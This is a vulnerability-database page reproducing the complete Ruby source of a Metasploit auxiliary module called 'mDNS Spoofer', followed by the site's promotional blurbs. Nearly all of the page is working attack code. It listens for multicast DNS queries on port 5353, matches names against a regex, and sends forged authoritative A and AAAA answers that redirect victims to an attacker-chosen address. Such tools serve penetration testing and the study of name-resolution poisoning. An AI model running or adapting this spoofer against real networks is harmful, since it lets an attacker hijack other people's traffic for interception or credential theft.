mDNS Spoofer
🗓️ 26 Jan 2017 22:18:11Reported by Joe Testa <[email protected]>, James Lee <[email protected]>, Robin Francois <[email protected]>Type
metasploit🔗 www.rapid7.com👁 68 Views
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'socket'
require 'ipaddr'
require 'net/dns'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
attr_accessor :sock, :thread
def initialize
super(
'Name' => 'mDNS Spoofer',
'Description' => %q{
This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex).
},
'Author' => [ 'Joe Testa <jtesta[at]positronsecurity.com>', 'James Lee <egypt[at]metasploit.com>', 'Robin Francois <rof[at]navixia.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://tools.ietf.org/html/rfc6762' ]
],
'Actions' =>
[
[ 'Service', 'Description' => 'Run mDNS spoofing service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service'
)
register_options([
OptAddress.new('SPOOFIP4', [ true, "IPv4 address with which to spoof A-record queries", ""]),
OptAddress.new('SPOOFIP6', [ false, "IPv6 address with which to spoof AAAA-record queries", ""]),
OptRegexp.new('REGEX', [ true, "Regex applied to the mDNS to determine if spoofed reply is sent", '.*']),
OptInt.new('TTL', [ false, "Time To Live for the spoofed response (in seconds)", 120]),
])
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
self.thread = nil
self.sock = nil
end
def dispatch_request(packet, rhost, src_port)
rhost = ::IPAddr.new(rhost)
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
# addr like "::ffff:192.168.0.1" when the interface we're listening
# on has an IPv6 address. Convert it to just the v4 addr
if rhost.ipv4_mapped?
rhost = rhost.native
end
# Parse the incoming MDNS packet. Quit if an exception was thrown.
dns_pkt = nil
begin
dns_pkt = ::Net::DNS::Packet.parse(packet)
rescue
return
end
spoof4 = ::IPAddr.new(datastore['SPOOFIP4'])
spoof6 = ::IPAddr.new(datastore['SPOOFIP6']) rescue ''
# Turn this packet into an authoritative response.
dns_pkt.header.qr = 1
dns_pkt.header.aa = 1
qm = true
dns_pkt.question.each do |question|
name = question.qName
if datastore['REGEX'] != '.*'
unless name =~ /#{datastore['REGEX']}/i
vprint_status("#{rhost.to_s.ljust 16} mDNS - #{name} did not match REGEX \"#{datastore['REGEX']}\"")
next
end
end
# Check if the query is the "QU" type, which implies that we need to send a unicast response, instead of a multicast response.
if question.qClass.to_i == 32769 # = 0x8001 = Class: IN, with QU type
qm = false
end
# qType is not a Integer, so to compare it with `case` we have to
# convert it
responding_with = nil
case question.qType.to_i
when ::Net::DNS::A
dns_pkt.answer << ::Net::DNS::RR::A.new(
:name => name,
:ttl => datastore['TTL'],
:cls => 0x8001, # Class IN, with flush cache flag
:type => ::Net::DNS::A,
:address => spoof4.to_s
)
responding_with = spoof4.to_s
when ::Net::DNS::AAAA
if spoof6 != ''
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
:name => name,
:ttl => datastore['TTL'],
:cls => 0x8001, # Class IN, with flush cache flag
:type => ::Net::DNS::AAAA,
:address => spoof6.to_s
)
responding_with = spoof6.to_s
end
else
# Skip PTR, SRV, etc. records.
next
end
# If we are responding to this query, and we haven't spammed stdout recently, print a notification.
if not responding_with.nil? and should_print_reply?(name)
print_good("#{rhost.to_s.ljust 16} mDNS - #{name} matches regex, responding with #{responding_with}")
end
end
# Clear the questions from the responses. They aren't observed in legit responses.
dns_pkt.question.clear()
# If we didn't find anything we want to spoof, don't send any
# packets
return if dns_pkt.answer.empty?
begin
udp = ::PacketFu::UDPHeader.new(
:udp_src => 5353,
:udp_dst => src_port,
:body => dns_pkt.data
)
rescue
return
end
udp.udp_recalc
# Set the destination to the requesting host. Otherwise, if this is a "QM" query, we will multicast the response.
dst = rhost
if rhost.ipv4?
if qm
dst = ::IPAddr.new('224.0.0.251')
end
ip_pkt = ::PacketFu::IPPacket.new(
:ip_src => spoof4.hton,
:ip_dst => dst.hton,
:ip_proto => 0x11, # UDP
:body => udp
)
elsif rhost.ipv6?
if qm
dst = ::IPAddr.new('ff02::fb')
end
ip_pkt = ::PacketFu::IPv6Packet.new(
:ipv6_src => spoof6.hton,
:ipv6_dst => dst.hton,
:ip_proto => 0x11, # UDP
:body => udp
)
else
# Should never get here
print_error("IP version is not 4 or 6. Failed to parse?")
return
end
ip_pkt.recalc
capture_sendto(ip_pkt, rhost.to_s, true)
end
def monitor_socket
while true
rds = [self.sock]
wds = []
eds = [self.sock]
r,_,_ = ::IO.select(rds,wds,eds,0.25)
if (r != nil and r[0] == self.sock)
packet, host, port = self.sock.recvfrom(65535)
dispatch_request(packet, host, port)
end
end
end
# Don't spam with success, just throttle to every 10 seconds
# per host
def should_print_reply?(host)
@notified_times ||= {}
now = Time.now.utc
@notified_times[host] ||= now
last_notified = now - @notified_times[host]
if last_notified == 0 or last_notified > 10
@notified_times[host] = now
else
false
end
end
def run
check_pcaprub_loaded()
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
# Avoid receiving extraneous traffic on our send socket
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
# Multicast Address for LLMNR
multicast_addr = ::IPAddr.new("224.0.0.251")
# The bind address here will determine which interface we receive
# multicast packets from. If the address is INADDR_ANY, we get them
# from all interfaces, so try to restrict if we can, but fall back
# if we can't
bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0"
optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton
self.sock = Rex::Socket.create_udp(
# This must be INADDR_ANY to receive multicast packets
'LocalHost' => "0.0.0.0",
'LocalPort' => 5353,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
self.thread = Rex::ThreadFactory.spawn("MDNSServerMonitor", false) {
monitor_socket
}
print_status("mDNS spoofer started. Listening for mDNS requests with REGEX \"#{datastore['REGEX']}\" ...")
add_socket(self.sock)
self.thread.join
end
def cleanup
if self.thread and self.thread.alive?
self.thread.kill
self.thread = nil
end
self.sock.close
close_pcap
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
16 Mar 2022 21:12Current
7High risk
Vulners AI Score7